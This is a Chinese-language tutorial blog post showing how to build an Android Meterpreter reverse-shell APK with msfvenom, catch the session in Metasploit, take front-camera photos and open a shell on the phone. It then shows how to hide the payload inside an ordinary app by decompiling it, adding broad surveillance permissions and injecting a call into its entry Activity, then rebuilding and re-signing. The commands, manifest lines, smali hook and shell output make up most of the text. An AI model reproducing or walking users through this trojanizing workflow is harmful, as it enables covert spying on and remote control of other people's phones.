1. 程式人生 > >msfvenom生成apk payload然後得到meterpreter shell

msfvenom生成apk payload然後得到meterpreter shell

先生成一個payload,帶上meterpreter監聽的地址和埠:

msfvenom -p android/meterpreter/reverse_tcp LHOST=<your public IP> LPORT=80 -o msf.apk

由於大號埠在我的wifi環境下無法出去,所以這裡我設定為80埠。
然後安裝這個apk到手機。
注意不要在主機上用nc監聽,雖然能收到來自apk的TCP包,但是那只是心跳包,沒有資料的。
然後用root許可權開啟msfconsole(因為要監聽在80埠,得用root許可權才行),在msf上監聽:

use exploit/multi/handler
set LHOST 0.0.0.0
set LPORT 80
set PAYLOAD android/meterpreter/reverse_tcp
exploit

Demo

在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述
用前置攝像頭拍到的照片
在這裡插入圖片描述
最後不知道做什麼了,就用一個android的shell:

meterpreter > shell
Process 1 created.
Channel 1 created.

pwd
/data/data/com.metasploit.stage/files
id
uid=10113(u0_a113) gid=10113(u0_a113) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),50113(all_a113) context=u:r:untrusted_app:s0
su

pwd
/data/data/com.metasploit.stage/files
ls
cd ..
ls
cache
files
lib
cd lib
ls
cd ../..
ls
opendir failed, Permission denied

參考:https://nestedif.com/android-security/android-reverse-shell-using-metasploit/

將生成的payload整合到正常apk中

  1. 用apktool對msf.apk進行反編譯;用apktool對helloworld.apk進行反編譯。
  2. 將msf.apk中的AndroidManifest.xml許可權加到helloworld.apk的AndroidManifest.xml中。
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
    <uses-permission android:name="android.permission.CALL_PHONE"/>
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
    <uses-permission android:name="android.permission.CAMERA"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.SET_WALLPAPER"/>
    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
    <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
    <uses-permission android:name="android.permission.WAKE_LOCK"/>
  1. 將apktool得到的smali目錄下的所有檔案複製到helloworld.apk的smali目錄下。
  2. 然後找到原apk中的入口Activity的onCreate()方法:
    在這裡插入圖片描述
    在其下面一行加入:
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
  1. 回編譯:
apktool b helloworld(使用apktool反編譯helloworld.apk生成的目錄)

在helloworld/dist目錄會得到一個apk。
6. 此時得到的apk是沒有簽名的,需要用jarsigner對其簽名。(如果沒有keystore檔案,可以用命令先生成一個)

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore C:\Users\caiqiqi\cqq.keystore E:\BaiduNetdiskDownload\apktool\helloworld\dist\helloworld.apk cqq

簽名之後會覆蓋原始的helloworld.apk。

參考:https://www.blackhillsinfosec.com/embedding-meterpreter-in-android-apk/
自動化指令碼:https://github.com/yoda66/AndroidEmbedIT/blob/master/android_embedit.py

Demo